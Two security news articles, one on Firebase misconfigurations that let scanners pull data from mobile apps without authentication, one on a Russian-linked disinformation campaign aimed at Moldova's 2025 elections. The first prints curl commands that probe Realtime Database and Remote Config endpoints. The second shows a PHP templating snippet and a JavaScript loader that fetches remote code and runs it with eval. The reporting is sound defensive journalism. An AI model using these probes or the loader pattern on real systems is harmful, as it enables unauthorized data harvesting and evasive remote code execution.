Numerous mobile applications have been found to expose critical user information through misconfigured Firebase services, allowing unauthenticated attackers to access databases, storage buckets, Firestore collections, and Remote Config secrets.

This widespread issue first came to light when security researcher Mike Oude Reimer published findings on 16 September 2025, demonstrating that approximately 150 different Firebase endpoints in top-ranked mobile apps were accessible without any authentication.

These exposures ranged from user credentials and private messages to high-privilege API tokens, underscoring a systemic weakness in how developers configure Firebase security rules.

In the weeks following the initial disclosure, ice0 analysts identified a surge in automated scanning tools exploiting this vulnerability, with attackers harvesting millions of records in bulk.

These tools rely on extracting Firebase project IDs from app APK files or known naming conventions, then probing various service endpoints for open permissions.

Although Firebase warns developers that test-mode configurations expire after 30 days, many teams extend these insecure rules or inadvertently leave production environments in test mode.

The result is an expansive attack surface that miscreants can exploit with minimal effort, jeopardizing both enterprise and consumer data.

The impact extends beyond trivial resources such as public images or non-sensitive flags.

At scale, exposed storage buckets have contained millions of user ID photos, cleartext passwords, and even AWS root access tokens.

In one instance, a storage bucket belonging to an app with over 100 million downloads was discovered hosting user ID photos, allowing attackers to compile vast identity databases.

Similarly, misconfigured Realtime Databases revealed private chat logs and geolocation information, while Remote Config endpoints exposed private API keys for third-party services.

ice0 analysts noted that many of these leaks went unreported or were dismissed as non-issues until full datasets were downloaded and inspected.

The following section explores the infection mechanism leveraged by scanning tools to enumerate and exploit Firebase services, focusing on APK extraction, endpoint discovery, and unauthenticated data retrieval.

Infection Mechanism: APK Analysis and Endpoint Enumeration

Scanning tools like OpenFirebase begin by parsing Android Package Kit (APK) files to extract Firebase project IDs, API keys, and Google App IDs from the compiled res/values/strings[.]xml and bundled google-services[.]json.

These identifiers serve as the primary inputs for constructing service URLs. For example, to retrieve a Realtime Database, the scanner issues a simple GET request appending [.]json to the endpoint:

curl - s https[:]//PROJECT_ID-default-rtdb[.]firebaseio[.]com/[.]json

If the response returns HTTP 200 OK and JSON content, the database is flagged as public. In cases where the database resides in a different region, the initial request returns a JSON error containing the correct regional endpoint, which the tool uses to reissue the request.

This two-step lookup ensures comprehensive coverage without brute-forcing every possible domain variation.

For Remote Config, scanners extract both the google_api_key and google_app_id from strings[.]xml before constructing a POST request to the Remote Config API:

curl - s - X POST \
  - H "Content-Type: application/json" \
  - d '{"appId":"GOOGLE_APP_ID","appInstanceId":"any"}' \
  "https[:]//firebaseremoteconfig[.]googleapis[.]com/v1/projects/PROJECT_ID/namespaces/firestore[:]fetch"

A successful 200 OK response containing configuration data or secrets confirms unauthenticated access to Remote Config entries.

Some configurations include the NOTEMPLATE error when no config exists, allowing scanners to differentiate between protected and empty endpoints.

By automating APK decompilation with tools like JADX and iterating through Firestore collection names—either extracted from code references or guessed via wordlists—attackers can enumerate public Firestore instances.

A query to a non-existent collection returns an empty JSON array rather than an authentication error, signaling vulnerability without prior knowledge of collection names.

This infection mechanism, combining APK metadata extraction with targeted API calls, highlights how minimal information disclosure can lead to full data leakage. Organizations relying on

Firebase must enforce strict security rules, audit test-mode expirations, and remove hardcoded keys to prevent these automated attacks.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Numerous Applications Using Google’s Firebase Platform Leaking Highly Sensitive Data appeared first on Cyber Security News.

On the eve of Moldova’s parliamentary elections scheduled for September 28, 2025, cybersecurity researchers have uncovered a sophisticated Russian-backed disinformation campaign designed to undermine public confidence in Moldova’s pro-European leadership.

The campaign began surfacing in April 2025, when analysts first observed a cluster of newly registered domains publishing biased news articles in both Romanian and Russian.

These websites employed identical templates and shared infrastructure with older Russian propaganda outlets, signaling an orchestrated effort to sow discord at a critical juncture in Moldova’s democratic process.

Silent Push analysts identified the campaign through a combination of open-source intelligence and network traffic analysis.

Initial indicators included dozens of URLs hosting political commentary with inflammatory headlines aimed at discrediting the ruling coalition and amplifying calls to pivot back toward Moscow.

Subsequent investigations revealed that these domains resolved to two dedicated IP addresses, both of which had previously hosted content for a 2022 disinformation operation known as Absatz.

By correlating registration metadata and hosting records, researchers established a clear lineage between the new Moldovan targeting effort and earlier campaigns.

Through deep technical analysis, Silent Push analysts noted that the new sites reused several bespoke functions originally developed for the 2022 effort.

These functions handled content generation, automatic comment moderation, and stealthy redirection of social-media referrals.

Reusing this code not only accelerated deployment but also provided a unique fingerprint enabling researchers to connect the disparate sites.

The technical footprint was especially evident in the PHP module responsible for article templating and URL parameter parsing, which contained the following identifiable snippet:-

[? php
function renderStory($ storyId) {
    $ seed = 'Storm1679';
    $ key = substr (md5($ storyId . $ seed), 0, 8);
    $ templatePath = "/var /www /html /templates /{$ key}_template[.]php";
    include($ templatePath);
}
?]

By comparing hash fragments in each URL, analysts could trace the evolution of the codebase across both the 2022 Absatz infrastructure and the 2025 Moldovan campaign.

Detection Evasion and Infrastructure Persistence

The campaign’s operators demonstrated advanced persistence tactics, carefully architecting their infrastructure to evade conventional detection.

Each disinformation website employed a rotating pool of content delivery networks (CDNs) and proxy services to mask origin IPs, falling back to hard-coded backup hosts when a primary node was taken offline.

DNS records were configured with extremely short TTL values—often under five minutes—forcing security teams to constantly refresh caches and complicating takedown efforts.

In one instance, when researchers successfully blocked access to a malicious domain at the ISP level, the site automatically redirected visitors to an alternate domain using a stealth JavaScript loader:

[script]
  fetch('https://cdn.cloudproxy[.]net/get?siteId=42')
    . then (res =() res[.]text())
    . then (code =() eval (code));
[/script]

This loader fetched an obfuscated payload from a third-party CDN, which in turn rehydrated the disinformation site content in the user’s browser without touching the original domain.

By leveraging this dual-stage loading mechanism, the campaign could survive domain blacklisting and continue publishing articles without significant downtime.

To maintain operational security, all command-and-control interactions for new content updates were conducted over TLS-encrypted channels using non-standard ports.

The same ports had been observed in the 2022 Absatz campaign, further cementing the link between the two efforts.

Analysts also noted that social-media amplification relied on low-quality bot accounts programmed to mimic genuine user behavior by varying posting times and interleaving political content with neutral topics like sports or local weather.

As Moldova approaches the polls, this campaign underscores the importance of technical collaboration and real-time monitoring to defend democratic institutions from covert influence operations.

Silent Push continues to track and mitigate the evolving infrastructure behind the Storm-1679 network, with detailed telemetry available to enterprise customers for proactive defense measures.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Russian Disinformation Campaign Targeting Upcoming Moldova’s Elections appeared first on Cyber Security News.